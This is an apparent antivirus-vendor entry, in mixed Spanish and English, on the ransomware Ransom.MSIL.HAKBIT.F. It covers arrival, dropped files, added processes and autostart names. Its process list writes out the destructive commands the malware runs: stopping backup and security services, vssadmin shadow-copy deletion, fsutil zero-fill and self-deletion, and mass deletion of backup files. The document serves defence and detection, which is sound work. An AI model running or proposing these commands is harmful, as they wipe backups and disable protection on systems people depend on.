Ransom.MSIL.HAKBIT.F

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Se ejecuta y, a continuación, se elimina.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• %User Temp%\{random file name}.exe
• %User Startup%\mystartup.lnk → points to %User Temp%\HELP_ME_RECOVER_MY_FILES.txt

(Nota: %User Temp% es la carpeta Temp del usuario activo, que en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) suele estar en C:\Documents and Settings\{nombre de usuario}\Local Settings\Temp y en el case de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Local\Temp).

Agrega los procesos siguientes:

• %User Startup%\{malware name}.exe
• cmd.exe /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
• ping 127.0.0.7 -n 3
• net.exe stop avpsus /y
• net.exe stop McAfeeDLPAgentService /y
• net.exe stop mfewc /y
• net.exe stop BMR Boot Service /y
• net.exe stop NetBackup BMR MTFTP Service /y
• net.exe stop DefWatch /y
• net.exe stop ccEvtMgr /y
• net.exe stop ccSetMgr /y
• net.exe stop SavRoam /y
• net.exe stop RTVscan /y
• net.exe stop QBFCService /y
• net.exe stop QBIDPService /y
• net.exe stop Intuit.QuickBooks.FCS /y
• net.exe stop QBCFMonitorService /y
• net.exe stop YooBackup /y
• net.exe stop YooIT /y
• net.exe stop zhudongfangyu /y
• net.exe stop stc_raw_agent /y
• net.exe stop VSNAPVSS /y
• net.exe stop VeeamTransportSvc /y
• net.exe stop VeeamDeploymentService /y
• net.exe stop VeeamNFSSvc /y
• net.exe stop veeam /y
• net.exe stop PDVFSService /y
• net.exe stop BackupExecVSSProvider /y
• net.exe stop BackupExecAgentAccelerator /y
• net.exe stop BackupExecAgentBrowser /y
• net.exe stop BackupExecDiveciMediaService /y
• net.exe stop BackupExecJobEngine /y
• net.exe stop BackupExecManagementService /y
• net.exe stop BackupExecRPCService /y
• net.exe stop AcrSch2Svc /y
• net.exe stop AcronisAgent /y
• net.exe stop CASAD2DWebSvc /y
• net.exe stop CAARCUpdateSvc /y
• net.exe stop sophos /y
• net.exe stop sophos /y;
• sc.exe config SQLTELEMETRY start= disabled;
• sc.exe config SQLTELEMETRY$ECWDB2 start= disabled;
• sc.exe config SQLWriter start= disabled;
• sc.exe config SstpSvc start= disabled;
• choice /C Y /N /D Y /T 3 ;
• taskkill.exe /IM mspub.exe /F;
• taskkill.exe /IM mydesktopqos.exe /F;
• taskkill.exe /IM mydesktopservice.exe /F;
• vssadmin.exe Delete Shadows /all /quiet;
• vssadmin.exe resize shadowstorage /for=c: /on={drive c to h}: /maxsize=401MB;
• vssadmin.exe resize shadowstorage /for=c: /on={drive c to h}: /maxsize=unbounded;
• vssadmin.exe Delete Shadows /all /quiet;
• cmd.exe /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin;
• arp -a;
• DEL /s /f /q {drive letter}:\*.VHD {drive letter}:\*.bac {drive letter}:\*.bak {drive letter}:\*.wbcat {drive letter}:\*.bkf {drive letter}:\Backup*.* c:\backup*.* {drive letter}:\*.set {drive letter}:\*.win {drive letter}:\*.dsk

(Nota: %User Startup% es la carpeta Inicio del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows 2003(32-bit), XP y 2000(32-bit) en C:\Documents and Settings\{nombre de usuario}\Menú Inicio\Programas\Inicio y en en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).

Se ejecuta y, a continuación, se elimina.

Técnica de inicio automático

Este malware infiltra el/los archivo(s) siguiente(s) en la carpeta de inicio del usuario de Windows para permitir su ejecución automática cada vez que se inicia el sistema:

• %User Startup%\{malware name}.exe where {malware name} is any of the following:
  • lsass.exe
  • svchst.exe
  • crcss.exe
  • chrome32.exe
  • firefox.exe
  • calc.exe
  • mysqld.exe
  • dllhst.exe
  • opera32.exe
  • memop.exe
  • spoolcv.exe
  • ctfmom.exe
  • SkypeApp.exe

(Nota: %User Startup% es la carpeta Inicio del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Menú Inicio\Programas\Inicio, en el caso de Windows 2003(32-bit), XP y 2000(32-bit) en C:\Documents and Settings\{nombre de usuario}\Menú Inicio\Programas\Inicio y en en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup).